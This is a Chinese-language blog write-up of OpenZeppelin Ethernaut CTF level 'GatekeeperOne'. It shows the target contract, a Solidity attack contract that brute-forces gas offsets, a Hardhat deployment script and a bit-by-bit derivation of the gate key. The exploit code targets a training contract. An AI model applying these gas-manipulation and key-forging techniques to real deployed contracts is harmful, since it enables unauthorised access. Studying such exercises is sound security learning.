Openzeppelin区块链CTF练习——答案和超详细解析【14】GataKeeperOne

Openzeppelin区块链CTF练习——答案和超详细解析【14】GataKeeperOne

openzeppelin出的CTF练习题https://ethernaut.openzeppelin.com/level/0xb5858B8EDE0030e46C0Ac1aaAedea8Fb71EF423C

1、题目

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "hardhat/console.sol";

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        console.log(gasleft());
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(
            uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)),
            "GatekeeperOne: invalid gateThree part one"
        );
        require(
            uint32(uint64(_gateKey)) != uint64(_gateKey),
            "GatekeeperOne: invalid gateThree part two"
        );
        require(
            uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)),
            "GatekeeperOne: invalid gateThree part three"
        );
        _;
    }

    function enter(
        bytes8 _gateKey
    ) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

2、答案,解析在后面

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

contract GatakeeperOne_Attack {
    bool succeeded = false;

    function attack(bytes8 key) public {
        address bugAddress = 0xdb13dE77289379d502652084694c0ba5245F61E7;
        // bytes8 key = 0x541884e600002896;
        for (uint256 i = 0; i < 8191; i++) {
            (bool success, ) = address(bugAddress).call{gas: i + 8191 * 9}(
                abi.encodeWithSignature("enter(bytes8)", key)
            );
            if (success) {
                succeeded = success;
                break;
            }
        }
    }
}

js运行脚本

const { ethers } = require("hardhat");

// 主部署函数。
async function main() {
  //从 ethers 提供的 signers 中获取签名者。
  const [deployer] = await ethers.getSigners();
  console.log(`使用账户部署合约: ${deployer.address}`);
  
  // 使用 provider 获取账户余额
  const provider = ethers.provider;
  let balance = await provider.getBalance(deployer.address);
  console.log("Account balance:", ethers.formatEther(balance), "ETH");

  //部署攻击合约
  const attackFactory = await ethers.getContractFactory("GatakeeperOne_Attack");
  const attack = await attackFactory.deploy();
  const attackAddress = await attack.getAddress();
  console.log(`Attack合约 部署在 ${attackAddress}`);

  //执行攻击;
  const bytes8Data = "0x0000ffff00002896";
  await attack.attack(bytes8Data);
  
  balance = await provider.getBalance(deployer.address);
  console.log("Account balance 2:", ethers.formatEther(balance), "ETH");
}

// 执行主函数并处理可能的结果。
main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.error(error);
    process.exit(1);
  });

在这里插入图片描述
记得点击 submit Instance

3、解析

第一关 需要msg.sender(:此函数的调用者)不能是tx.origin(:最初发起交易的外部账户地址)

解决方法: 因此我们需要通过合约去调用enter()函数。
在这里插入图片描述

第二关 表示在运行到第14句代码时,剩余gas费要是8191的倍数。

在这里插入图片描述
解决方案: 设置初始gas为8191的倍数,然后for循环逐一增加gas,循环8191次。
在这里插入图片描述

第三关

1. 需要 64位的gatekey强制转换成32位和16位数值一样。

bytes8: 0x xxxx xxxx xxxx xxxx
uint64: 0x xxxx xxxx xxxx
uint16: 0x xxxx
uint32: 0x xxxx xxxx
需要uint16 = uint32,由于uint16 强制转换成uint32 时,后面4位都会变成0
解决方法: 条件1: 因此需要bytes8第5-8位为0,就能满足
在这里插入图片描述

2. 需要强制转换32位和64位不一样

uint32: 0x xxxx xxxx
uint64: 0x xxxx xxxx xxxx
uint64 转成 uint32 => 0x 0000 xxxx xxxx
解决方法:
条件2: 0x xxxx xxxx xxxx xxxx 只要9-12位不都为0就满足
在这里插入图片描述

3. 需要最初调用者地址 强转 成32位等于16位

uint32: 0x xxxx xxxx
uint16: 0x xxxx
uint16 转成 uint32 => 0x 0000 xxxx
需要uint16 = uint32,而uint16 = uint16(uint160(tx.origin)),可以用计算器算一下
例如:tx.origin = 0x59562Af21b300747398ef885541884e68Af52896
那么uint16 = 0x 2896
解决方法:
条件3: 0x xxxx xxxx xxxx xxxx 1-4位为2896就满足
在这里插入图片描述
根据三个条件
条件1: 0x xxxx xxxx 0000 xxxx 因此需要bytes8第5-8位为0,就能满足
条件2: 0x xxxx xxxx(非0) xxxx xxxx 只要9-12位不都为0就满足
条件3: 0x xxxx xxxx xxxx 2896 1-4位为2896就满足
可以得出
bytes8 = 0x xxxx xxxx 0000 2896 // xxxx为任意数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值